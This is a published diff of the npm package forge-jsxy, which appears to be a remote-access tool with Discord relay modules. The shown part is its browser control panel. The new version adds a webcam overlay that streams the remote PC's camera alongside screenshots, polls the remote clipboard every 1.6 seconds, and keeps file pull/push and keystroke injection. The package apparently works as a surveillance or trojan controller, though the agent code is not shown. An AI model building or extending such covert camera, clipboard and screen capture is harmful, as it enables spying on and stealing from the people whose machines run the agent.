forge-jsxy 1.0.72 → 1.0.74
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/files-explorer-template.html +42 -3
- package/assets/remote-control-template.html +617 -64
- package/dist/assets/files-explorer-template.html +43 -4
- package/dist/assets/remote-control-template.html +617 -64
- package/dist/discordAgentScreenshot.js +11 -2
- package/dist/discordRelayUpload.js +1 -1
- package/dist/fsMessages.js +10 -1
- package/dist/fsProtocol.d.ts +15 -2
- package/dist/fsProtocol.js +504 -30
- package/package.json +1 -1
|
@@ -114,6 +114,22 @@
|
|
|
114
114
|
cursor: default;
|
|
115
115
|
margin: 0;
|
|
116
116
|
}
|
|
117
|
+
.camera-overlay {
|
|
118
|
+
position: absolute;
|
|
119
|
+
right: 14px;
|
|
120
|
+
bottom: 14px;
|
|
121
|
+
width: 20%;
|
|
122
|
+
max-width: 28vw;
|
|
123
|
+
min-width: 120px;
|
|
124
|
+
height: auto;
|
|
125
|
+
border: 1px solid rgba(255, 255, 255, 0.38);
|
|
126
|
+
border-radius: 6px;
|
|
127
|
+
box-shadow: 0 6px 20px rgba(0, 0, 0, 0.45);
|
|
128
|
+
background: #111;
|
|
129
|
+
z-index: 4;
|
|
130
|
+
pointer-events: none;
|
|
131
|
+
display: none;
|
|
132
|
+
}
|
|
117
133
|
.screen.write-enabled { cursor: crosshair; }
|
|
118
134
|
.empty-state {
|
|
119
135
|
position: absolute;
|
|
@@ -201,17 +217,23 @@
|
|
|
201
217
|
<div class="bar">
|
|
202
218
|
<strong class="brand">Remote</strong>
|
|
203
219
|
<button id="modeBtn" class="alt">View Only</button>
|
|
220
|
+
<button id="cameraBtn" class="alt">Camera: Off</button>
|
|
221
|
+
<button id="copyFromPcBtn" class="alt">Copy <- PC</button>
|
|
222
|
+
<button id="pasteToPcBtn" class="alt">Paste -> PC</button>
|
|
204
223
|
<button id="refreshBtn" class="alt">Refresh</button>
|
|
205
224
|
<button id="browseBtn" class="alt">Files</button>
|
|
206
225
|
<button id="disconnectBtn" class="warn">Disconnect</button>
|
|
207
226
|
<span class="spacer"></span>
|
|
208
227
|
<span class="state hint">Shortcuts: Ctrl/Cmd+C (PC -> Local), Ctrl/Cmd+V (Local -> PC)</span>
|
|
228
|
+
<span class="state" id="streamStats">Tier: - · Frame: - · Capture: -</span>
|
|
229
|
+
<span class="state" id="fpsState">FPS: 0.0</span>
|
|
209
230
|
<span class="state" id="state">Idle</span>
|
|
210
231
|
<span class="state" id="modeState">Mode: View Only</span>
|
|
211
232
|
</div>
|
|
212
233
|
<div class="screen-wrap" id="screenWrap">
|
|
213
234
|
<div class="screen-stage" id="screenStage">
|
|
214
235
|
<img id="screen" class="screen" alt="Remote screen" />
|
|
236
|
+
<img id="cameraOverlay" class="camera-overlay" alt="Remote camera" />
|
|
215
237
|
<div id="emptyState" class="empty-state">
|
|
216
238
|
<div id="emptyStateCard" class="empty-state-card">
|
|
217
239
|
Waiting for remote session...
|
|
@@ -252,12 +274,18 @@
|
|
|
252
274
|
<script>
|
|
253
275
|
const relayFallback = @@RELAY_FALLBACK_JS@@ || "";
|
|
254
276
|
const pwdHint = @@PWD_JS@@ || "";
|
|
277
|
+
const streamStatsEl = document.getElementById("streamStats");
|
|
278
|
+
const fpsStateEl = document.getElementById("fpsState");
|
|
255
279
|
const stateEl = document.getElementById("state");
|
|
256
280
|
const modeStateEl = document.getElementById("modeState");
|
|
257
281
|
const screenEl = document.getElementById("screen");
|
|
282
|
+
const cameraOverlayEl = document.getElementById("cameraOverlay");
|
|
258
283
|
const emptyStateEl = document.getElementById("emptyState");
|
|
259
284
|
const emptyStateCardEl = document.getElementById("emptyStateCard");
|
|
260
285
|
const modeBtn = document.getElementById("modeBtn");
|
|
286
|
+
const cameraBtn = document.getElementById("cameraBtn");
|
|
287
|
+
const copyFromPcBtn = document.getElementById("copyFromPcBtn");
|
|
288
|
+
const pasteToPcBtn = document.getElementById("pasteToPcBtn");
|
|
261
289
|
const wrapEl = document.getElementById("screenWrap");
|
|
262
290
|
const browseBtn = document.getElementById("browseBtn");
|
|
263
291
|
const filePullPath = document.getElementById("filePullPath");
|
|
@@ -275,6 +303,15 @@
|
|
|
275
303
|
const authPasswordInput = document.getElementById("authPasswordInput");
|
|
276
304
|
const authSubmitBtn = document.getElementById("authSubmitBtn");
|
|
277
305
|
const authCancelBtn = document.getElementById("authCancelBtn");
|
|
306
|
+
const pasteCaptureEl = document.createElement("textarea");
|
|
307
|
+
pasteCaptureEl.setAttribute("aria-hidden", "true");
|
|
308
|
+
pasteCaptureEl.tabIndex = -1;
|
|
309
|
+
pasteCaptureEl.style.position = "fixed";
|
|
310
|
+
pasteCaptureEl.style.opacity = "0";
|
|
311
|
+
pasteCaptureEl.style.pointerEvents = "none";
|
|
312
|
+
pasteCaptureEl.style.left = "-9999px";
|
|
313
|
+
pasteCaptureEl.style.top = "0";
|
|
314
|
+
document.body.appendChild(pasteCaptureEl);
|
|
278
315
|
let ws = null;
|
|
279
316
|
let authed = false;
|
|
280
317
|
let writeEnabled = false;
|
|
@@ -283,7 +320,19 @@
|
|
|
283
320
|
let inflightShot = false;
|
|
284
321
|
const pendingReqs = new Map();
|
|
285
322
|
let remoteClipboardBusy = false;
|
|
323
|
+
let remoteClipboardBusyAt = 0;
|
|
286
324
|
let localClipboardBusy = false;
|
|
325
|
+
let localClipboardBusyAt = 0;
|
|
326
|
+
let immediatePasteReadInFlight = false;
|
|
327
|
+
let remoteClipboardCache = "";
|
|
328
|
+
let remoteClipboardCacheAt = 0;
|
|
329
|
+
let lastPasteEventAt = 0;
|
|
330
|
+
let pendingPasteShortcutAt = -1;
|
|
331
|
+
let remoteClipboardPollTimer = null;
|
|
332
|
+
let remoteClipboardFetchInFlight = false;
|
|
333
|
+
let lastRemotePasteTriggerAt = 0;
|
|
334
|
+
let lastRemotePasteText = "";
|
|
335
|
+
let remotePasteDispatchInFlight = false;
|
|
287
336
|
let currentBrowsePath = "";
|
|
288
337
|
let reconnectTimer = null;
|
|
289
338
|
let pendingPasswordPrompt = null;
|
|
@@ -306,8 +355,141 @@
|
|
|
306
355
|
let lastFrameMeta = null;
|
|
307
356
|
let sessionAgentVersion = "";
|
|
308
357
|
let sessionAgentOs = "";
|
|
358
|
+
let cameraOverlayEnabled = false;
|
|
359
|
+
let cameraAvailable = null;
|
|
360
|
+
let cameraUnavailableWarned = false;
|
|
361
|
+
let lastShotStartedAt = 0;
|
|
362
|
+
let streamFastStreak = 0;
|
|
363
|
+
let streamSlowStreak = 0;
|
|
364
|
+
let streamTier = 1;
|
|
365
|
+
let legacyShotMode = false;
|
|
366
|
+
let shotFailureStreak = 0;
|
|
367
|
+
let fpsFrames = 0;
|
|
368
|
+
let fpsLastAt = Date.now();
|
|
369
|
+
let fpsCurrent = 0;
|
|
370
|
+
let fpsLowStreak = 0;
|
|
371
|
+
let fpsHighStreak = 0;
|
|
372
|
+
let shotTimeoutTimer = null;
|
|
373
|
+
let lastFrameBytes = 0;
|
|
374
|
+
let lastCaptureMs = 0;
|
|
375
|
+
const STREAM_TUNING = [
|
|
376
|
+
{ maxBytes: 2_400_000, maxWidth: 2560 },
|
|
377
|
+
{ maxBytes: 1_900_000, maxWidth: 2240 },
|
|
378
|
+
{ maxBytes: 1_500_000, maxWidth: 1920 },
|
|
379
|
+
{ maxBytes: 1_150_000, maxWidth: 1680 },
|
|
380
|
+
{ maxBytes: 900_000, maxWidth: 1520 },
|
|
381
|
+
{ maxBytes: 700_000, maxWidth: 1360 },
|
|
382
|
+
{ maxBytes: 520_000, maxWidth: 1180 },
|
|
383
|
+
];
|
|
309
384
|
|
|
310
385
|
function setState(t) { stateEl.textContent = t; }
|
|
386
|
+
function refreshCameraBtnUi() {
|
|
387
|
+
if (cameraAvailable === false) {
|
|
388
|
+
cameraBtn.textContent = "Camera: Unavailable";
|
|
389
|
+
cameraBtn.className = "alt";
|
|
390
|
+
cameraOverlayEl.style.display = "none";
|
|
391
|
+
return;
|
|
392
|
+
}
|
|
393
|
+
cameraBtn.textContent = cameraOverlayEnabled ? "Camera: On" : "Camera: Off";
|
|
394
|
+
cameraBtn.className = cameraOverlayEnabled ? "warn" : "alt";
|
|
395
|
+
if (!cameraOverlayEnabled || cameraAvailable === false) {
|
|
396
|
+
cameraOverlayEl.style.display = "none";
|
|
397
|
+
}
|
|
398
|
+
}
|
|
399
|
+
function kb(v) {
|
|
400
|
+
const n = Number.isFinite(Number(v)) ? Number(v) : 0;
|
|
401
|
+
if (n <= 0) return "-";
|
|
402
|
+
return Math.round(n / 1024) + "KB";
|
|
403
|
+
}
|
|
404
|
+
function refreshStreamStats() {
|
|
405
|
+
const prof = STREAM_TUNING[Math.max(0, Math.min(STREAM_TUNING.length - 1, streamTier))];
|
|
406
|
+
streamStatsEl.textContent =
|
|
407
|
+
"Tier: " + (streamTier + 1) + "/" + STREAM_TUNING.length +
|
|
408
|
+
" · Frame: " + kb(lastFrameBytes) +
|
|
409
|
+
" · Capture: " + (lastCaptureMs > 0 ? (Math.round(lastCaptureMs) + "ms") : "-") +
|
|
410
|
+
" · Cap: " + kb(prof.maxBytes);
|
|
411
|
+
}
|
|
412
|
+
function tuneRemoteStreamProfile(latencyMs, captureMs, frameBytes, targetBytes) {
|
|
413
|
+
const ms = Number.isFinite(Number(latencyMs)) ? Number(latencyMs) : 0;
|
|
414
|
+
const capMs = Number.isFinite(Number(captureMs)) ? Number(captureMs) : 0;
|
|
415
|
+
const fb = Number.isFinite(Number(frameBytes)) ? Number(frameBytes) : 0;
|
|
416
|
+
const tb = Number.isFinite(Number(targetBytes)) ? Number(targetBytes) : 0;
|
|
417
|
+
if (fpsCurrent > 0 && fpsCurrent < 4.0) {
|
|
418
|
+
fpsLowStreak += 1;
|
|
419
|
+
fpsHighStreak = 0;
|
|
420
|
+
if (fpsLowStreak >= 2 && streamTier < STREAM_TUNING.length - 1) {
|
|
421
|
+
streamTier += 1;
|
|
422
|
+
fpsLowStreak = 0;
|
|
423
|
+
}
|
|
424
|
+
} else if (fpsCurrent >= 5.1) {
|
|
425
|
+
fpsHighStreak += 1;
|
|
426
|
+
fpsLowStreak = 0;
|
|
427
|
+
if (fpsHighStreak >= 4 && streamTier > 0) {
|
|
428
|
+
streamTier -= 1;
|
|
429
|
+
fpsHighStreak = 0;
|
|
430
|
+
}
|
|
431
|
+
} else {
|
|
432
|
+
fpsLowStreak = 0;
|
|
433
|
+
fpsHighStreak = 0;
|
|
434
|
+
}
|
|
435
|
+
const overload =
|
|
436
|
+
ms > 300 ||
|
|
437
|
+
capMs > 300 ||
|
|
438
|
+
(tb > 0 && fb > tb * 0.98);
|
|
439
|
+
if (overload) {
|
|
440
|
+
streamSlowStreak += 1;
|
|
441
|
+
streamFastStreak = 0;
|
|
442
|
+
if (streamSlowStreak >= 2 && streamTier < STREAM_TUNING.length - 1) {
|
|
443
|
+
streamTier += 1;
|
|
444
|
+
streamSlowStreak = 0;
|
|
445
|
+
}
|
|
446
|
+
return;
|
|
447
|
+
}
|
|
448
|
+
const healthy =
|
|
449
|
+
ms > 0 &&
|
|
450
|
+
ms < 220 &&
|
|
451
|
+
(capMs <= 0 || capMs < 180) &&
|
|
452
|
+
(tb <= 0 || fb <= tb * 0.86);
|
|
453
|
+
if (healthy) {
|
|
454
|
+
streamFastStreak += 1;
|
|
455
|
+
streamSlowStreak = 0;
|
|
456
|
+
if (streamFastStreak >= 4 && streamTier > 0) {
|
|
457
|
+
streamTier -= 1;
|
|
458
|
+
streamFastStreak = 0;
|
|
459
|
+
}
|
|
460
|
+
return;
|
|
461
|
+
}
|
|
462
|
+
streamFastStreak = 0;
|
|
463
|
+
streamSlowStreak = 0;
|
|
464
|
+
}
|
|
465
|
+
function markFrameForFps() {
|
|
466
|
+
fpsFrames += 1;
|
|
467
|
+
const now = Date.now();
|
|
468
|
+
const dt = now - fpsLastAt;
|
|
469
|
+
if (dt < 700) return;
|
|
470
|
+
const fps = (fpsFrames * 1000) / Math.max(1, dt);
|
|
471
|
+
fpsCurrent = fps;
|
|
472
|
+
fpsStateEl.textContent = "FPS: " + fps.toFixed(1);
|
|
473
|
+
fpsFrames = 0;
|
|
474
|
+
fpsLastAt = now;
|
|
475
|
+
}
|
|
476
|
+
function currentShotIntervalMs() {
|
|
477
|
+
const m = [185, 205, 230, 255, 285, 320, 360];
|
|
478
|
+
return m[Math.max(0, Math.min(m.length - 1, streamTier))];
|
|
479
|
+
}
|
|
480
|
+
function clearShotTimeout() {
|
|
481
|
+
if (shotTimeoutTimer) {
|
|
482
|
+
clearTimeout(shotTimeoutTimer);
|
|
483
|
+
shotTimeoutTimer = null;
|
|
484
|
+
}
|
|
485
|
+
}
|
|
486
|
+
function armShotTimeout() {
|
|
487
|
+
clearShotTimeout();
|
|
488
|
+
shotTimeoutTimer = setTimeout(() => {
|
|
489
|
+
inflightShot = false;
|
|
490
|
+
scheduleNextShot(currentShotIntervalMs() + 80);
|
|
491
|
+
}, 3000);
|
|
492
|
+
}
|
|
311
493
|
function parseVersion(v) {
|
|
312
494
|
return String(v || "")
|
|
313
495
|
.split(".")
|
|
@@ -351,6 +533,11 @@
|
|
|
351
533
|
function canEnableWriteMode() {
|
|
352
534
|
const os = String(sessionAgentOs || "").toLowerCase();
|
|
353
535
|
const ver = String(sessionAgentVersion || "");
|
|
536
|
+
if (!os) {
|
|
537
|
+
// Metadata may still be in-flight right after connect; do not hard-block on unknown.
|
|
538
|
+
setState("Detecting agent platform/version…");
|
|
539
|
+
return true;
|
|
540
|
+
}
|
|
354
541
|
if (!os.includes("windows")) {
|
|
355
542
|
setState("Write mode supports Windows agents only.");
|
|
356
543
|
showEmptyState("Remote control input is available only for Windows agents. This session is " + (os || "unknown") + ".", true);
|
|
@@ -366,8 +553,11 @@
|
|
|
366
553
|
function refreshWriteModeEligibilityUi() {
|
|
367
554
|
const os = String(sessionAgentOs || "").toLowerCase();
|
|
368
555
|
const ver = String(sessionAgentVersion || "");
|
|
369
|
-
const
|
|
370
|
-
|
|
556
|
+
const hasOs = os.length > 0;
|
|
557
|
+
const hasVer = ver.length > 0;
|
|
558
|
+
// Keep the mode button usable while metadata is still unknown; hard-block only when incompatibility is explicit.
|
|
559
|
+
const incompatible = (hasOs && !os.includes("windows")) || (hasVer && versionLt(ver, "1.0.71"));
|
|
560
|
+
modeBtn.disabled = false;
|
|
371
561
|
if (!writeEnabled && incompatible) {
|
|
372
562
|
modeBtn.title = "Write mode requires Windows agent v1.0.71+ (upgrade this session from /files).";
|
|
373
563
|
} else {
|
|
@@ -440,6 +630,8 @@
|
|
|
440
630
|
}
|
|
441
631
|
function updateWriteControls() {
|
|
442
632
|
const ro = !writeEnabled;
|
|
633
|
+
copyFromPcBtn.disabled = ro;
|
|
634
|
+
pasteToPcBtn.disabled = ro;
|
|
443
635
|
filePullBtn.disabled = ro;
|
|
444
636
|
filePullPath.disabled = ro;
|
|
445
637
|
filePushBtn.disabled = ro;
|
|
@@ -449,6 +641,36 @@
|
|
|
449
641
|
upBtn.disabled = ro;
|
|
450
642
|
closePanelBtn.disabled = ro;
|
|
451
643
|
if (ro) filePanel.classList.remove("open");
|
|
644
|
+
if (ro) stopRemoteClipboardPoll();
|
|
645
|
+
else startRemoteClipboardPoll();
|
|
646
|
+
}
|
|
647
|
+
function stopRemoteClipboardPoll() {
|
|
648
|
+
if (remoteClipboardPollTimer) {
|
|
649
|
+
clearInterval(remoteClipboardPollTimer);
|
|
650
|
+
remoteClipboardPollTimer = null;
|
|
651
|
+
}
|
|
652
|
+
}
|
|
653
|
+
async function refreshRemoteClipboardCache() {
|
|
654
|
+
if (remoteClipboardFetchInFlight) return;
|
|
655
|
+
if (!writeEnabled || !ws || ws.readyState !== 1 || !authed) return;
|
|
656
|
+
remoteClipboardFetchInFlight = true;
|
|
657
|
+
try {
|
|
658
|
+
const r = await wsRequest("rc_clipboard_get");
|
|
659
|
+
if (!r || !r.ok) return;
|
|
660
|
+
const text = String(r.text || "");
|
|
661
|
+
remoteClipboardCache = text;
|
|
662
|
+
remoteClipboardCacheAt = Date.now();
|
|
663
|
+
} finally {
|
|
664
|
+
remoteClipboardFetchInFlight = false;
|
|
665
|
+
}
|
|
666
|
+
}
|
|
667
|
+
function startRemoteClipboardPoll() {
|
|
668
|
+
stopRemoteClipboardPoll();
|
|
669
|
+
if (!writeEnabled || !ws || ws.readyState !== 1 || !authed) return;
|
|
670
|
+
void refreshRemoteClipboardCache();
|
|
671
|
+
remoteClipboardPollTimer = setInterval(() => {
|
|
672
|
+
void refreshRemoteClipboardCache();
|
|
673
|
+
}, 1600);
|
|
452
674
|
}
|
|
453
675
|
function hashHex(s) {
|
|
454
676
|
if (globalThis.crypto && globalThis.crypto.subtle && typeof TextEncoder !== "undefined") {
|
|
@@ -635,6 +857,7 @@
|
|
|
635
857
|
setState("Authenticated");
|
|
636
858
|
startShotLoop();
|
|
637
859
|
requestScreenshot();
|
|
860
|
+
startRemoteClipboardPoll();
|
|
638
861
|
if (!hasFrame) showEmptyState("Connected. Waiting for first screenshot frame...", false);
|
|
639
862
|
} else {
|
|
640
863
|
forgetPassword(sid);
|
|
@@ -671,9 +894,43 @@
|
|
|
671
894
|
}
|
|
672
895
|
if (t === "fs_screenshot_result") {
|
|
673
896
|
inflightShot = false;
|
|
897
|
+
clearShotTimeout();
|
|
898
|
+
if (typeof msg.camera_available === "boolean") {
|
|
899
|
+
cameraAvailable = msg.camera_available;
|
|
900
|
+
if (cameraAvailable === false && !cameraUnavailableWarned) {
|
|
901
|
+
cameraUnavailableWarned = true;
|
|
902
|
+
setState("No camera detected on remote PC.");
|
|
903
|
+
}
|
|
904
|
+
refreshCameraBtnUi();
|
|
905
|
+
}
|
|
674
906
|
if (msg.ok && msg.b64) {
|
|
907
|
+
shotFailureStreak = 0;
|
|
908
|
+
if (lastShotStartedAt > 0) {
|
|
909
|
+
const prof = STREAM_TUNING[Math.max(0, Math.min(STREAM_TUNING.length - 1, streamTier))];
|
|
910
|
+
lastFrameBytes = Number.isFinite(Number(msg.bytes)) ? Math.max(0, Number(msg.bytes)) : 0;
|
|
911
|
+
lastCaptureMs = Number.isFinite(Number(msg.capture_ms)) ? Math.max(0, Number(msg.capture_ms)) : 0;
|
|
912
|
+
tuneRemoteStreamProfile(
|
|
913
|
+
Date.now() - lastShotStartedAt,
|
|
914
|
+
lastCaptureMs,
|
|
915
|
+
lastFrameBytes,
|
|
916
|
+
prof.maxBytes
|
|
917
|
+
);
|
|
918
|
+
}
|
|
919
|
+
refreshStreamStats();
|
|
920
|
+
markFrameForFps();
|
|
675
921
|
const mime = String(msg.mime || "image/png");
|
|
676
922
|
screenEl.src = "data:" + mime + ";base64," + String(msg.b64);
|
|
923
|
+
if (cameraOverlayEnabled && cameraAvailable !== false && msg.camera_b64) {
|
|
924
|
+
const camMime = String(msg.camera_mime || "image/png");
|
|
925
|
+
const widthPct = Number.isFinite(Number(msg.camera_width_percent))
|
|
926
|
+
? Math.max(10, Math.min(40, Number(msg.camera_width_percent)))
|
|
927
|
+
: 20;
|
|
928
|
+
cameraOverlayEl.style.width = widthPct + "%";
|
|
929
|
+
cameraOverlayEl.src = "data:" + camMime + ";base64," + String(msg.camera_b64);
|
|
930
|
+
cameraOverlayEl.style.display = "block";
|
|
931
|
+
} else if (!cameraOverlayEnabled || cameraAvailable === false) {
|
|
932
|
+
cameraOverlayEl.style.display = "none";
|
|
933
|
+
}
|
|
677
934
|
lastFrameMeta = {
|
|
678
935
|
imageWidth: Number.isFinite(Number(msg.width)) ? Math.max(1, Math.floor(Number(msg.width))) : 0,
|
|
679
936
|
imageHeight: Number.isFinite(Number(msg.height)) ? Math.max(1, Math.floor(Number(msg.height))) : 0,
|
|
@@ -686,8 +943,23 @@
|
|
|
686
943
|
hideEmptyState();
|
|
687
944
|
} else if (!hasFrame) {
|
|
688
945
|
const em = String(msg.error || "").trim();
|
|
946
|
+
shotFailureStreak += 1;
|
|
947
|
+
if (!legacyShotMode) {
|
|
948
|
+
const lower = em.toLowerCase();
|
|
949
|
+
const optionRejected =
|
|
950
|
+
(lower.includes("unknown") || lower.includes("unsupported") || lower.includes("invalid")) &&
|
|
951
|
+
(lower.includes("stream_profile") ||
|
|
952
|
+
lower.includes("max_bytes") ||
|
|
953
|
+
lower.includes("max_width") ||
|
|
954
|
+
lower.includes("include_camera"));
|
|
955
|
+
if (optionRejected || shotFailureStreak >= 2) {
|
|
956
|
+
legacyShotMode = true;
|
|
957
|
+
setState("Using legacy screenshot compatibility mode for this agent.");
|
|
958
|
+
}
|
|
959
|
+
}
|
|
689
960
|
showEmptyState(em || "Remote session connected, but screenshot is not available yet.", true);
|
|
690
961
|
}
|
|
962
|
+
scheduleNextShot(currentShotIntervalMs());
|
|
691
963
|
return;
|
|
692
964
|
}
|
|
693
965
|
if (t === "rc_input_result") {
|
|
@@ -752,10 +1024,25 @@
|
|
|
752
1024
|
clearTimeout(resizeShotTimer);
|
|
753
1025
|
resizeShotTimer = null;
|
|
754
1026
|
}
|
|
1027
|
+
stopRemoteClipboardPoll();
|
|
1028
|
+
remoteClipboardFetchInFlight = false;
|
|
755
1029
|
pendingReqs.clear();
|
|
756
1030
|
sessionAgentVersion = "";
|
|
757
1031
|
sessionAgentOs = "";
|
|
758
1032
|
writeEnabled = false;
|
|
1033
|
+
cameraAvailable = null;
|
|
1034
|
+
cameraUnavailableWarned = false;
|
|
1035
|
+
legacyShotMode = false;
|
|
1036
|
+
shotFailureStreak = 0;
|
|
1037
|
+
fpsFrames = 0;
|
|
1038
|
+
fpsLastAt = Date.now();
|
|
1039
|
+
fpsCurrent = 0;
|
|
1040
|
+
fpsLowStreak = 0;
|
|
1041
|
+
fpsHighStreak = 0;
|
|
1042
|
+
lastFrameBytes = 0;
|
|
1043
|
+
lastCaptureMs = 0;
|
|
1044
|
+
streamStatsEl.textContent = "Tier: - · Frame: - · Capture: -";
|
|
1045
|
+
fpsStateEl.textContent = "FPS: 0.0";
|
|
759
1046
|
modeBtn.textContent = "View Only";
|
|
760
1047
|
modeStateEl.textContent = "Mode: View Only";
|
|
761
1048
|
modeBtn.className = "alt";
|
|
@@ -765,17 +1052,43 @@
|
|
|
765
1052
|
updateWriteControls();
|
|
766
1053
|
}
|
|
767
1054
|
function stopShotLoop() {
|
|
768
|
-
if (screenshotTimer) {
|
|
1055
|
+
if (screenshotTimer) { clearTimeout(screenshotTimer); screenshotTimer = null; }
|
|
1056
|
+
clearShotTimeout();
|
|
1057
|
+
}
|
|
1058
|
+
function scheduleNextShot(delayMs) {
|
|
1059
|
+
if (screenshotTimer) {
|
|
1060
|
+
clearTimeout(screenshotTimer);
|
|
1061
|
+
screenshotTimer = null;
|
|
1062
|
+
}
|
|
1063
|
+
screenshotTimer = setTimeout(() => {
|
|
1064
|
+
screenshotTimer = null;
|
|
1065
|
+
requestScreenshot();
|
|
1066
|
+
}, Math.max(40, Number(delayMs) || 120));
|
|
769
1067
|
}
|
|
770
1068
|
function startShotLoop() {
|
|
771
1069
|
stopShotLoop();
|
|
772
|
-
|
|
1070
|
+
scheduleNextShot(60);
|
|
773
1071
|
}
|
|
774
1072
|
function requestScreenshot() {
|
|
775
|
-
if (!ws || ws.readyState !== 1 || !authed
|
|
1073
|
+
if (!ws || ws.readyState !== 1 || !authed) return;
|
|
1074
|
+
if (inflightShot) return;
|
|
776
1075
|
inflightShot = true;
|
|
1076
|
+
lastShotStartedAt = Date.now();
|
|
1077
|
+
const prof = STREAM_TUNING[Math.max(0, Math.min(STREAM_TUNING.length - 1, streamTier))];
|
|
777
1078
|
if (!hasFrame) showEmptyState("Requesting screenshot frame...", false);
|
|
778
|
-
|
|
1079
|
+
const payload = {
|
|
1080
|
+
type: "fs_screenshot",
|
|
1081
|
+
request_id: "shot_" + (++reqSeq),
|
|
1082
|
+
};
|
|
1083
|
+
// Older agents may reject modern screenshot tuning fields; auto-fallback below.
|
|
1084
|
+
if (!legacyShotMode) {
|
|
1085
|
+
payload.stream_profile = "remote_stream";
|
|
1086
|
+
payload.max_bytes = prof.maxBytes;
|
|
1087
|
+
payload.max_width = prof.maxWidth;
|
|
1088
|
+
payload.include_camera = cameraOverlayEnabled;
|
|
1089
|
+
}
|
|
1090
|
+
ws.send(JSON.stringify(payload));
|
|
1091
|
+
armShotTimeout();
|
|
779
1092
|
}
|
|
780
1093
|
function wsRequest(type, payload) {
|
|
781
1094
|
if (!ws || ws.readyState !== 1 || !authed) return Promise.resolve({ ok: false, error: "not connected" });
|
|
@@ -795,46 +1108,188 @@
|
|
|
795
1108
|
const r = await wsRequest("rc_clipboard_get");
|
|
796
1109
|
if (!r || !r.ok) { setState("Clipboard pull failed"); return; }
|
|
797
1110
|
const text = String(r.text || "");
|
|
1111
|
+
remoteClipboardCache = text;
|
|
1112
|
+
remoteClipboardCacheAt = Date.now();
|
|
1113
|
+
const copied = copyTextToLocalClipboard(text);
|
|
1114
|
+
setState(copied ? "Clipboard copied from PC to local" : "Clipboard write blocked by browser");
|
|
1115
|
+
}
|
|
1116
|
+
function copyTextToLocalClipboard(text) {
|
|
1117
|
+
const t = String(text || "");
|
|
1118
|
+
if (!t) return false;
|
|
798
1119
|
try {
|
|
799
|
-
if (
|
|
800
|
-
|
|
801
|
-
|
|
802
|
-
} catch {
|
|
803
|
-
// No popup fallback: use hidden textarea + execCommand when Clipboard API is blocked.
|
|
804
|
-
const ta = document.createElement("textarea");
|
|
805
|
-
ta.value = text;
|
|
806
|
-
ta.setAttribute("readonly", "readonly");
|
|
807
|
-
ta.style.position = "fixed";
|
|
808
|
-
ta.style.opacity = "0";
|
|
809
|
-
ta.style.pointerEvents = "none";
|
|
810
|
-
ta.style.left = "-9999px";
|
|
811
|
-
document.body.appendChild(ta);
|
|
812
|
-
ta.focus();
|
|
813
|
-
ta.select();
|
|
814
|
-
let copied = false;
|
|
815
|
-
try {
|
|
816
|
-
copied = Boolean(document.execCommand && document.execCommand("copy"));
|
|
817
|
-
} catch {
|
|
818
|
-
copied = false;
|
|
819
|
-
} finally {
|
|
820
|
-
try { document.body.removeChild(ta); } catch {}
|
|
1120
|
+
if (navigator.clipboard && typeof navigator.clipboard.writeText === "function") {
|
|
1121
|
+
// Fire-and-forget write attempt; fallback copy below still runs if browser blocks.
|
|
1122
|
+
navigator.clipboard.writeText(t).catch(() => {});
|
|
821
1123
|
}
|
|
822
|
-
|
|
1124
|
+
} catch {
|
|
1125
|
+
/* skip */
|
|
823
1126
|
}
|
|
1127
|
+
// No popup fallback: use hidden textarea + execCommand when Clipboard API is blocked.
|
|
1128
|
+
const ta = document.createElement("textarea");
|
|
1129
|
+
ta.value = t;
|
|
1130
|
+
ta.setAttribute("readonly", "readonly");
|
|
1131
|
+
ta.style.position = "fixed";
|
|
1132
|
+
ta.style.opacity = "0";
|
|
1133
|
+
ta.style.pointerEvents = "none";
|
|
1134
|
+
ta.style.left = "-9999px";
|
|
1135
|
+
document.body.appendChild(ta);
|
|
1136
|
+
ta.focus();
|
|
1137
|
+
ta.select();
|
|
1138
|
+
let copied = false;
|
|
1139
|
+
try {
|
|
1140
|
+
copied = Boolean(document.execCommand && document.execCommand("copy"));
|
|
1141
|
+
} catch {
|
|
1142
|
+
copied = false;
|
|
1143
|
+
} finally {
|
|
1144
|
+
try { document.body.removeChild(ta); } catch {}
|
|
1145
|
+
}
|
|
1146
|
+
return copied;
|
|
824
1147
|
}
|
|
825
|
-
|
|
1148
|
+
function armPasteCaptureMode(hintText) {
|
|
1149
|
+
pendingPasteShortcutAt = Date.now();
|
|
1150
|
+
lastPasteEventAt = 0;
|
|
1151
|
+
try {
|
|
1152
|
+
pasteCaptureEl.value = "";
|
|
1153
|
+
pasteCaptureEl.focus();
|
|
1154
|
+
pasteCaptureEl.select();
|
|
1155
|
+
} catch {
|
|
1156
|
+
/* ignore */
|
|
1157
|
+
}
|
|
1158
|
+
setState(String(hintText || "Press Ctrl/Cmd+V once to send local clipboard to PC"));
|
|
1159
|
+
}
|
|
1160
|
+
async function pushLocalClipboardToRemote(options) {
|
|
826
1161
|
if (!writeEnabled) { setState("Enable Write Only mode for clipboard"); return; }
|
|
1162
|
+
const opts = options && typeof options === "object" ? options : {};
|
|
827
1163
|
let text = "";
|
|
828
1164
|
try {
|
|
829
1165
|
if (!navigator.clipboard || typeof navigator.clipboard.readText !== "function") throw new Error("clipboard api unavailable");
|
|
830
1166
|
text = await navigator.clipboard.readText();
|
|
831
1167
|
} catch {
|
|
832
|
-
|
|
1168
|
+
if (!opts.silentReadFailure) {
|
|
1169
|
+
armPasteCaptureMode("Direct clipboard access unavailable. Press Ctrl/Cmd+V once to continue");
|
|
1170
|
+
}
|
|
1171
|
+
return { ok: false, reason: "clipboard_read_unavailable" };
|
|
1172
|
+
}
|
|
1173
|
+
if (!text) {
|
|
1174
|
+
setState("Local clipboard is empty");
|
|
1175
|
+
return { ok: false, reason: "empty" };
|
|
1176
|
+
}
|
|
1177
|
+
await pushClipboardTextToRemote(text, true);
|
|
1178
|
+
return { ok: true };
|
|
1179
|
+
}
|
|
1180
|
+
async function sendRemoteShortcut(key, mods) {
|
|
1181
|
+
const k = String(key || "").trim().toLowerCase();
|
|
1182
|
+
if (!k) return { ok: false, error: "shortcut key required" };
|
|
1183
|
+
return wsRequest("rc_input", {
|
|
1184
|
+
action: "key",
|
|
1185
|
+
key: k,
|
|
1186
|
+
ctrl: Boolean(mods && mods.ctrl),
|
|
1187
|
+
alt: Boolean(mods && mods.alt),
|
|
1188
|
+
shift: Boolean(mods && mods.shift),
|
|
1189
|
+
meta: false,
|
|
1190
|
+
});
|
|
1191
|
+
}
|
|
1192
|
+
